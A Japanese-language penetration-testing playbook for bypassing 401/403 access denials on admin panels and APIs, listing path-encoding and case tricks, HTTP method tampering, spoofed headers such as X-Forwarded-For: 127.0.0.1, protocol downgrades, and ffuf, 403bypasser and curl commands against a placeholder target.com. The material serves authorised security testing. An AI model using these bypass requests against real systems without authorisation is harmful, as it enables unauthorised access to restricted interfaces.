401-403バイパス手法 は何をしますか?
401/403バイパスプレイブック。管理パネル、APIエンドポイント、または制限付きパスでアクセス拒否応答に遭遇した際に使用します。パス操作、HTTPメソッド改ざん、ヘッダインジェクション、プロトコルダウングレード、自動バイパスツールをカバーします。
目次
1. パス操作
URLパスを変更してアクセス制限を回避します。
テクニック
- パスの末尾にスラッシュを追加:
/admin→/admin/ - パスのエンコード:
/admin→/%61dmin - パスの二重エンコード:
/admin→/%2561dmin - パスの大文字小文字変更:
/Adminまたは/ADMIN - パストラバーサル:
/admin/../admin - 代替パスの使用:
/admin→/administrator
例
GET /admin HTTP/1.1
Host: target.com
→ 403 Forbidden
GET /admin/ HTTP/1.1
Host: target.com
→ 200 OK
2. HTTPメソッド改ざん
HTTPメソッドを変更してアクセス制限をバイパスします。
テクニック
- GETの代わりにPOSTを使用:
/adminにPOSTリクエスト - HEADメソッドの使用:
HEAD /admin HTTP/1.1 - OPTIONSメソッドの使用:
OPTIONS /admin HTTP/1.1 - PUTメソッドの使用:
PUT /admin HTTP/1.1 - PATCHメソッドの使用:
PATCH /admin HTTP/1.1 - DELETEメソッドの使用:
DELETE /admin HTTP/1.1 - CONNECTメソッドの使用:
CONNECT /admin HTTP/1.1 - TRACEメソッドの使用:
TRACE /admin HTTP/1.1 - カスタムメソッド:
XGET /admin HTTP/1.1
例
GET /api/admin HTTP/1.1
Host: target.com
→ 403 Forbidden
POST /api/admin HTTP/1.1
Host: target.com
→ 200 OK
3. ヘッダインジェクション
特別なHTTPヘッダーを追加してアクセス制限をバイパスします。
テクニック
- X-Forwarded-For:
X-Forwarded-For: 127.0.0.1 - X-Real-IP:
X-Real-IP: 127.0.0.1 - X-Forwarded-Host:
X-Forwarded-Host: localhost - X-Originating-IP:
X-Originating-IP: 127.0.0.1 - X-Remote-IP:
X-Remote-IP: 127.0.0.1 - X-Remote-Addr:
X-Remote-Addr: 127.0.0.1 - X-Client-IP:
X-Client-IP: 127.0.0.1 - X-Host:
X-Host: localhost - X-Forwarded-For: 192.168.1.1: 内部ネットワークIP
例
GET /admin HTTP/1.1
Host: target.com
→ 403 Forbidden
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
→ 200 OK
4. プロトコルダウングレード
HTTP/2からHTTP/1.1へのプロトコルダウングレード。
テクニック
- HTTP/2からHTTP/1.1へのダウングレード: プロトコルをHTTP/2からHTTP/1.1に変更
- HTTPSからHTTPへのダウングレード: HTTPSからHTTPに変更
- WebSocketからHTTPへのダウングレード: WebSocketからHTTPに変更
例
GET /admin HTTP/2
Host: target.com
→ 403 Forbidden
GET /admin HTTP/1.1
Host: target.com
→ 200 OK
5. 自動バイパスツール
次に示す自動ツールを使用してバイパス手法を体系的にテストします。
Burp Suite
- Burp Suiteを開く
- ターゲットに移動
- リクエストを右クリック
- 「Bypass 401/403」を選択(エクステンションがある場合)
ffuf
ffuf -w /path/to/wordlist.txt -u https://target.com/admin/FUZZ -H "X-Forwarded-For: 127.0.0.1"
403bypasser
git clone https://github.com/yunemsei/403bypasser.git
cd 403bypasser
python3 bypass.py -u https://target.com/admin
手動テスト
curl -k -v "https://target.com/admin"
curl -k -v -X POST "https://target.com/admin"
curl -k -v "https://target.com/admin/"
curl -k -v -H "X-Forwarded-For: 127.0.0.1" "https://target.com/admin"
curl -k -v --http1.1 "https://target.com/admin"